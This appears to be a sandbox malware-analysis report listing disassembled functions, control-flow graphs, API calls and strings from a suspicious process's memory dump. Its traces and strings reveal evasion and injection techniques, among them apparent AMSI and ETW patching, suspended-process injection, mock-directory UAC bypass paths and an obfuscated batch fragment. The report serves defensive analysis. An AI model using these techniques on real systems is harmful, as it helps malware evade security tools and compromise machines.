                                                                                                                                                                        • Part of subcall function 02CBDA3C: RtlInitUnicodeString.NTDLL ref: 02CBDA64
                                                                                                                                                                        • Part of subcall function 02CBDA3C: RtlDosPathNameToNtPathName_U.NTDLL(00000000,00000000,00000000,00000000), ref: 02CBDA7A
                                                                                                                                                                        • Part of subcall function 02CBDA3C: NtDeleteFile.NTDLL(?), ref: 02CBDA99
                                                                                                                                                                      • MoveFileA.KERNEL32(00000000,00000000), ref: 02CC4BAF
                                                                                                                                                                      • MoveFileA.KERNEL32(00000000,00000000), ref: 02CC4C05
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: FilePath$Library$AddressModuleNameProc$FreeHandleName_$CloseLoadMove$AttributesCheckDebuggerDeleteInitPresentRemoteSleepStringUnicodeWrite
                                                                                                                                                                      • String ID: .url$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\aken.pif$C:\Users\Public\alpha.pif$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\svchost.exe$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FX.c$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NEO.c$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$advapi32$bcrypt$dbgcore$endpointdlp$http$ieproxy$kernel32$lld.SLITUTEN$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$sys.thgiseurt$tquery$wintrust$@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%
                                                                                                                                                                      • API String ID: 4208238443-2905671141
                                                                                                                                                                      • Opcode ID: 8f2507b0fe592f815622c0d18d75616a11e5ff98de43234aa2cc9cda2b54ba14
                                                                                                                                                                      • Instruction ID: 57547e07bb2d36c129e5013cbddbfc442b2126a19c7f68dbfa33248cdc3bbcbc
                                                                                                                                                                      • Opcode Fuzzy Hash: 8f2507b0fe592f815622c0d18d75616a11e5ff98de43234aa2cc9cda2b54ba14
                                                                                                                                                                      • Instruction Fuzzy Hash: A3241F75B4015D8FDB65EBA4DC90ADEB3BABF84308F2041F5E109A7218DA71AE45EF40
                                                                                                                                                                      Function 02CC786F Relevance: 160.3, APIs: 5, Strings: 85, Instructions: 2772processthreadCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 5349 2cc786f-2cc7c5f call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca4898 5464 2cc8ae9-2cc8c6c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca4898 5349->5464 5465 2cc7c65-2cc7e38 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca4798 call 2ca494c call 2ca4d20 call 2ca4d9c CreateProcessAsUserW 5349->5465 5554 2cc9418-2ccaa1d call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c * 16 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2ca46a4 * 2 call 2cb881c call 2cb7b90 call 2cb8184 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c ExitProcess 5464->5554 5555 2cc8c72-2cc8c81 call 2ca4898 5464->5555 5572 2cc7e3a-2cc7eb1 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c 5465->5572 5573 2cc7eb6-2cc7fc1 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c 5465->5573 5555->5554 5564 2cc8c87-2cc8f5a call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2cbe538 call 2ca480c call 2ca494c call 2ca46a4 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca7e10 5555->5564 5822 2cc8f60-2cc920d call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca4d8c * 2 call 2ca4734 call 2cbdac4 5564->5822 5823 2cc9212-2cc9413 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca49a4 call 2cb8ba8 5564->5823 5572->5573 5675 2cc7fc8-2cc82e8 call 2ca49a4 call 2cbdc88 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2cbcf9c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c 5573->5675 5676 2cc7fc3-2cc7fc6 5573->5676 5992 2cc82ea-2cc82fc call 2cb857c 5675->5992 5993 2cc8301-2cc8ae4 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c ResumeThread call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c CloseHandle call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2cb7ecc call 2cb8798 * 6 CloseHandle call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c 5675->5993 5676->5675 5822->5823 5823->5554 5992->5993 5993->5464
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CB881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02CB8903), ref: 02CB8860
                                                                                                                                                                        • Part of subcall function 02CB881C: GetProcAddress.KERNEL32(02D01384,00000000), ref: 02CB8879
                                                                                                                                                                        • Part of subcall function 02CB881C: FreeLibrary.KERNEL32(02D01384,00000000,02D01388,Function_000055D8,00000004,02D01398,02D01388,000186A3,00000040,02D0139C,02D01384,00000000,00000000,00000000,00000000,02CB8903), ref: 02CB88E3
                                                                                                                                                                      • CreateProcessAsUserW.ADVAPI32(02DF57D8,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02DF57DC,02DF5820,OpenSession,02CFCF00,02CCAFD0,UacScan,02CFCF00), ref: 02CC7E31
                                                                                                                                                                      • ResumeThread.KERNEL32(02DF5824,ScanBuffer,02CFCF00,02CCAFD0,OpenSession,02CFCF00,02CCAFD0,UacScan,02CFCF00,02CCAFD0,ScanBuffer,02CFCF00,02CCAFD0,OpenSession,02CFCF00,02CCAFD0), ref: 02CC847B
                                                                                                                                                                      • CloseHandle.KERNEL32(02DF5820,ScanBuffer,02CFCF00,02CCAFD0,OpenSession,02CFCF00,02CCAFD0,UacScan,02CFCF00,02CCAFD0,02DF5824,ScanBuffer,02CFCF00,02CCAFD0,OpenSession,02CFCF00), ref: 02CC85FA
                                                                                                                                                                        • Part of subcall function 02CB8798: LoadLibraryW.KERNEL32(?,?), ref: 02CB87AC
                                                                                                                                                                        • Part of subcall function 02CB8798: GetProcAddress.KERNEL32(02D01390,BCryptVerifySignature), ref: 02CB87C6
                                                                                                                                                                        • Part of subcall function 02CB8798: FreeLibrary.KERNEL32(02D01390,02D01390,BCryptVerifySignature,bcrypt,?,02D013D0,00000000,02D013A4,02CBA3BF,ScanString,02D013A4,02CBA774,ScanBuffer,02D013A4,02CBA774,Initialize), ref: 02CB8802
                                                                                                                                                                      • CloseHandle.KERNEL32(02DF5820,02DF5820,ScanBuffer,02CFCF00,02CCAFD0,UacInitialize,02CFCF00,02CCAFD0,ScanBuffer,02CFCF00,02CCAFD0,OpenSession,02CFCF00,02CCAFD0,UacScan,02CFCF00), ref: 02CC89EC
                                                                                                                                                                        • Part of subcall function 02CBDAC4: RtlDosPathNameToNtPathName_U.NTDLL(00000000,?,00000000,00000000), ref: 02CBDB03
                                                                                                                                                                        • Part of subcall function 02CBDAC4: NtWriteFile.NTDLL(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000), ref: 02CBDB6A
                                                                                                                                                                        • Part of subcall function 02CBDAC4: NtClose.NTDLL(?), ref: 02CBDB73
                                                                                                                                                                        • Part of subcall function 02CB8184: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02CB820E), ref: 02CB81F0
                                                                                                                                                                      • ExitProcess.KERNEL32(00000000,OpenSession,02CFCF00,02CCAFD0,ScanBuffer,02CFCF00,02CCAFD0,Initialize,02CFCF00,02CCAFD0,00000000,00000000,00000000,ScanString,02CFCF00,02CCAFD0), ref: 02CCAA1D
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CloseHandleLibrary$AddressFreePathProcProcess$CacheCreateExitFileFlushInstructionLoadModuleNameName_ResumeThreadUserWrite
                                                                                                                                                                      • String ID: Advapi$BCryptVerifySignature$C:\Windows\System32\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$I_QueryTagInformation$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$advapi32$bcrypt$dbgcore$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
                                                                                                                                                                      • API String ID: 4004194653-1225450241
                                                                                                                                                                      • Opcode ID: f00b9bf03f43e5befb15b30be60d76a24dbc1699d3f543f3e0fc584120664040
                                                                                                                                                                      • Instruction ID: d16d4d61a996ced92a09553c41eabc391f306bb868230d6884a0aa4ebd01bc35
                                                                                                                                                                      • Opcode Fuzzy Hash: f00b9bf03f43e5befb15b30be60d76a24dbc1699d3f543f3e0fc584120664040
                                                                                                                                                                      • Instruction Fuzzy Hash: D9430C75A4015D8BDB25FBA4DD909DEB3BABF88308F2041E5E109E7214DA71AE91EF40
                                                                                                                                                                      Function 02CA1727 Relevance: 9.0, APIs: 7, Instructions: 288sleepCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 8533 2ca1727-2ca1736 8534 2ca1968-2ca196d 8533->8534 8535 2ca173c-2ca174c 8533->8535 8538 2ca1973-2ca1984 8534->8538 8539 2ca1a80-2ca1a83 8534->8539 8536 2ca174e-2ca175b 8535->8536 8537 2ca17a4-2ca17ad 8535->8537 8545 2ca175d-2ca176a 8536->8545 8546 2ca1774-2ca1780 8536->8546 8537->8536 8542 2ca17af-2ca17bb 8537->8542 8540 2ca1938-2ca1945 8538->8540 8541 2ca1986-2ca19a2 8538->8541 8543 2ca1a89-2ca1a8b 8539->8543 8544 2ca1684-2ca16ad VirtualAlloc 8539->8544 8540->8541 8552 2ca1947-2ca195b Sleep 8540->8552 8547 2ca19b0-2ca19bf 8541->8547 8548 2ca19a4-2ca19ac 8541->8548 8542->8536 8549 2ca17bd-2ca17c9 8542->8549 8550 2ca16df-2ca16e5 8544->8550 8551 2ca16af-2ca16dc call 2ca1644 8544->8551 8553 2ca176c-2ca1770 8545->8553 8554 2ca1794-2ca17a1 8545->8554 8555 2ca1782-2ca1790 8546->8555 8556 2ca17f0-2ca17f9 8546->8556 8558 2ca19d8-2ca19e0 8547->8558 8559 2ca19c1-2ca19d5 8547->8559 8557 2ca1a0c-2ca1a22 8548->8557 8549->8536 8560 2ca17cb-2ca17de Sleep 8549->8560 8551->8550 8552->8541 8564 2ca195d-2ca1964 Sleep 8552->8564 8562 2ca17fb-2ca1808 8556->8562 8563 2ca182c-2ca1836 8556->8563 8570 2ca1a3b-2ca1a47 8557->8570 8571 2ca1a24-2ca1a32 8557->8571 8566 2ca19fc-2ca19fe call 2ca15cc 8558->8566 8567 2ca19e2-2ca19fa 8558->8567 8559->8557 8560->8536 8565 2ca17e4-2ca17eb Sleep 8560->8565 8562->8563 8569 2ca180a-2ca181e Sleep 8562->8569 8572 2ca18a8-2ca18b4 8563->8572 8573 2ca1838-2ca1863 8563->8573 8564->8540 8565->8537 8576 2ca1a03-2ca1a0b 8566->8576 8567->8576 8569->8563 8578 2ca1820-2ca1827 Sleep 8569->8578 8582 2ca1a68 8570->8582 8583 2ca1a49-2ca1a5c 8570->8583 8571->8570 8579 2ca1a34 8571->8579 8574 2ca18dc-2ca18eb call 2ca15cc 8572->8574 8575 2ca18b6-2ca18c8 8572->8575 8580 2ca187c-2ca188a 8573->8580 8581 2ca1865-2ca1873 8573->8581 8592 2ca18fd-2ca1936 8574->8592 8598 2ca18ed-2ca18f7 8574->8598 8585 2ca18ca 8575->8585 8586 2ca18cc-2ca18da 8575->8586 8578->8562 8579->8570 8589 2ca18f8 8580->8589 8590 2ca188c-2ca18a6 call 2ca1500 8580->8590 8581->8580 8588 2ca1875 8581->8588 8584 2ca1a6d-2ca1a7f 8582->8584 8583->8584 8591 2ca1a5e-2ca1a63 call 2ca1500 8583->8591 8585->8586 8586->8592 8588->8580 8589->8592 8590->8592 8591->8584
                                                                                                                                                                      APIs
                                                                                                                                                                      • Sleep.KERNEL32(00000000), ref: 02CA17D0
                                                                                                                                                                      • Sleep.KERNEL32(0000000A,00000000), ref: 02CA17E6
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Sleep
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3472027048-0
                                                                                                                                                                      • Opcode ID: 42dd7e6e8cc5272789ef9b82049968d85403a2b8ebd58836c8de4831838edefa
                                                                                                                                                                      • Instruction ID: 58f5b3b343dfc880b7940c4ab71a3ff97ca2a3c3fbf5ebe84d940bea77d82026
                                                                                                                                                                      • Opcode Fuzzy Hash: 42dd7e6e8cc5272789ef9b82049968d85403a2b8ebd58836c8de4831838edefa
                                                                                                                                                                      • Instruction Fuzzy Hash: 82B14272A003528BDB15CF29D8A0355BBE1FB85318F1D87AED609CB395C7B0A951CB90
                                                                                                                                                                      Function 02CB8798 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 8599 2cb8798-2cb87bd LoadLibraryW 8600 2cb87bf-2cb87d7 GetProcAddress 8599->8600 8601 2cb8807-2cb880d 8599->8601 8602 2cb87d9-2cb87f8 call 2cb7cf8 8600->8602 8603 2cb87fc-2cb8802 FreeLibrary 8600->8603 8602->8603 8606 2cb87fa 8602->8606 8603->8601 8606->8603
                                                                                                                                                                      APIs
                                                                                                                                                                      • LoadLibraryW.KERNEL32(?,?), ref: 02CB87AC
                                                                                                                                                                      • GetProcAddress.KERNEL32(02D01390,BCryptVerifySignature), ref: 02CB87C6
                                                                                                                                                                      • FreeLibrary.KERNEL32(02D01390,02D01390,BCryptVerifySignature,bcrypt,?,02D013D0,00000000,02D013A4,02CBA3BF,ScanString,02D013A4,02CBA774,ScanBuffer,02D013A4,02CBA774,Initialize), ref: 02CB8802
                                                                                                                                                                        • Part of subcall function 02CB7CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02CB7D6C
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
                                                                                                                                                                      • String ID: BCryptVerifySignature$bcrypt
                                                                                                                                                                      • API String ID: 1002360270-4067648912
                                                                                                                                                                      • Opcode ID: 2a470ddd186ba8fc9f21b2c433f826bb0a07070bdfbca35d16fe711a640a475f
                                                                                                                                                                      • Instruction ID: 7d72bfe8cf37ea5a0c86d3e66a4ab2a8e38e28c9d7062cd50bb035a08b7eae61
                                                                                                                                                                      • Opcode Fuzzy Hash: 2a470ddd186ba8fc9f21b2c433f826bb0a07070bdfbca35d16fe711a640a475f
                                                                                                                                                                      • Instruction Fuzzy Hash: FCF0C871A803149EEF10ABA9A8C8FB6379CD781359F040929B19C97B64C7F1CC148B60
                                                                                                                                                                      Function 02CB8704 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35libraryCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      APIs
                                                                                                                                                                      • LoadLibraryW.KERNEL32(amsi), ref: 02CB870D
                                                                                                                                                                        • Part of subcall function 02CB80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CB8113
                                                                                                                                                                        • Part of subcall function 02CB80C0: GetProcAddress.KERNEL32(?,?), ref: 02CB8125
                                                                                                                                                                        • Part of subcall function 02CB7CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02CB7D6C
                                                                                                                                                                      • FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02CB876C
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
